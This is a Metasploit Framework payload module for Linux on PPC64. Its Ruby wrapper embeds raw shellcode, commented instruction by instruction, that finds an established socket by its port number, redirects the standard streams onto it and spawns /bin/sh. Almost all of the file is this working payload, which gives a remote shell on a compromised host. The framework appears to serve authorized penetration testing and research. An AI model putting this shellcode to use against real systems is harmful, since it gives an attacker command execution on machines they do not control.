modules/payloads/singles/linux/ppc64/shell_find_port.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 171
include Msf::Payload::Single
include Msf::Payload::Linux
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux Command Shell, Find Port Inline',
'Description' => 'Spawn a shell on an established connection',
'Author' => 'Ramon de C Valle',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ ARCH_PPC64, ARCH_CBEA64 ],
'Handler' => Msf::Handler::FindPort,
'Session' => Msf::Sessions::CommandShellUnix,
'Payload' =>
{
'Offsets' =>
{
'CPORT' => [ 86, 'n' ],
},
'Payload' =>
"\x7f\xff\xfa\x78" + # xor r31,r31,r31 #
"\x3b\xa0\x01\xff" + # li r29,511 #
"\x97\xe1\xff\xfc" + # stwu r31,-4(r1) #
"\x7c\x3c\x0b\x78" + # mr r28,r1 #
"\x3b\x7d\xfe\x11" + # addi r27,r29,-495 #
"\x97\x61\xff\xfc" + # stwu r27,-4(r1) #
"\x7c\x3a\x0b\x78" + # mr r26,r1 #
"\xfb\x41\xff\xf9" + # stdu r26,-8(r1) #
"\xfb\x81\xff\xf9" + # stdu r28,-8(r1) #
"\xfb\xe1\xff\xf9" + # stdu r31,-8(r1) #
"\x3b\xff\x01\xff" + # addi r31,r31,511 #
"\x3b\xff\xfe\x02" + # addi r31,r31,-510 #
"\x38\x21\x01\xff" + # addi r1,r1,511 #
"\x38\x21\xfe\x09" + # addi r1,r1,-503 #
"\xfb\xe1\xff\xf9" + # stdu r31,-8(r1) #
"\x7c\x24\x0b\x78" + # mr r4,r1 #
"\x38\x7d\xfe\x08" + # addi r3,r29,-504 #
"\x38\x1d\xfe\x67" + # addi r0,r29,-409 #
"\x44\xff\xff\x02" + # sc #
"\x3b\x3c\x01\xff" + # addi r25,r28,511 #
"\xa3\x39\xfe\x03" + # lhz r25,-509(r25) #
"\x28\x19\x04\xd2" + # cmplwi r25,1234 #
"\x40\x82\xff\xd0" + # bne+ <fndsockcode64+40> #
"\x3b\x1d\xfe\x03" + # addi r24,r29,-509 #
"\x7f\x04\xc3\x78" + # mr r4,r24 #
"\x7f\xe3\xfb\x78" + # mr r3,r31 #
"\x38\x1d\xfe\x40" + # addi r0,r29,-448 #
"\x44\xff\xff\x02" + # sc #
"\x37\x18\xff\xff" + # addic. r24,r24,-1 #
"\x40\x80\xff\xec" + # bge+ <fndsockcode64+96> #
"\x7c\xa5\x2a\x79" + # xor. r5,r5,r5 #
"\x40\x82\xff\xfd" + # bnel+ <fndsockcode64+120> #
"\x7f\xc8\x02\xa6" + # mflr r30 #
"\x3b\xde\x01\xff" + # addi r30,r30,511 #
"\x38\x7e\xfe\x25" + # addi r3,r30,-475 #
"\x98\xbe\xfe\x2c" + # stb r5,-468(r30) #
"\xf8\xa1\xff\xf9" + # stdu r5,-8(r1) #
"\xf8\x61\xff\xf9" + # stdu r3,-8(r1) #
"\x7c\x24\x0b\x78" + # mr r4,r1 #
"\x38\x1d\xfe\x0c" + # addi r0,r29,-500 #
"\x44\xff\xff\x02" + # sc #
"/bin/sh"
}
))
end
end